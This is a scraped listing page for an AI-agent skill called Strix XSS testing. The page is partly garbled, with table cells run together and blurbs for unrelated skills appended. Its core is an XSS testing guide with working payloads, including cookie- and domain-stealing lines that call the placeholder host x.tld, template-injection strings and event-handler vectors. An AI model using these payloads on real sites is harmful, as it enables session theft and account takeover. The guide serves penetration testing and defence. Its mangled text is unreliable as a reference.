Strix XSS 测试手册,覆盖反射型、存储型、DOM 型向量与 CSP 绕过;触发名:strix-xss
npx skills add https://github.com/asdfgh1445/ctf-super-hub --skill Strix•XSS 测试
Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
Types
Contexts
Frameworks
Defenses to Bypass
Server Render
Client Render
innerHTML/outerHTML/insertAdjacentHTML, template literalsdangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}URL/DOM
location.hash/search, document.referrer, base href, data-* attributesEvents/Handlers
onerror/onload/onfocus/onclick and javascript: URL handlersCross-Context
File/Metadata
< > & " '" ' < > & and ensure attribute quoted; avoid unquoted attributesJSON.stringifyurl() and expression()Sources
location.* (hash/search), document.referrer, postMessage, storage, service worker messagesSinks
innerHTML/outerHTML/insertAdjacentHTML, document.writesetAttribute, setTimeout/setInterval with stringseval/Function, new Worker with blob URLsVulnerable Pattern
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;
Exploit: ?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>
Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):
<noscript><p title="</noscript><img src=x onerror=alert(1)>
<form><button formaction=javascript:alert(1)>
Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):
{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
data: blob: allowed, inline events allowedKeep a compact set tuned per context:
<svg onload=alert(1)>" autofocus onfocus=alert(1) x="onmouseover=alert(1)"-alert(1)-"javascript:alert(1)dangerouslySetInnerHTMLv-html and dynamic attribute bindings$sce trust APIs misused to whitelist attacker content{@html} and dynamic attributesjavascript: in links and submit actionstext/html or image/svg+xml can execute inlineContent-Disposition: attachmentX-Content-Type-Options: nosniffContext + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.
Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.
Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup
Use when implementing any feature or bugfix, before writing implementation code
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes
Use when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always
Expert guidance for systematic backtesting of trading strategies. Use when developing, testing, stress-testing, or validating quantitative trading strategies. Covers "beating ideas to death" methodology, parameter robustness testing, slippage modeling, bias prevention, and interpreting backtest results. Applicable when user asks about backtesting, strategy validation, robustness testing, avoiding overfitting, or systematic trading development.
Cloud laboratory platform for automated protein testing and validation. Use when designing proteins and needing experimental validation including binding assays, expression testing, thermostability measurements, enzyme activity assays, or protein sequence optimization. Also use for submitting experiments via API, tracking experiment status, downloading results, optimizing protein sequences for better expression using computational tools (NetSolP, SoluProt, SolubleMPNN, ESM), or managing protein design workflows with wet-lab validation.
This skill should be used for time series machine learning tasks including classification, regression, clustering, forecasting, anomaly detection, segmentation, and similarity search. Use when working with temporal data, sequential patterns, or time-indexed observations requiring specialized algorithms beyond standard ML approaches. Particularly suited for univariate and multivariate time series analysis with scikit-learn compatible APIs.
Take asdfgh1445/strix•xss 测试 from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.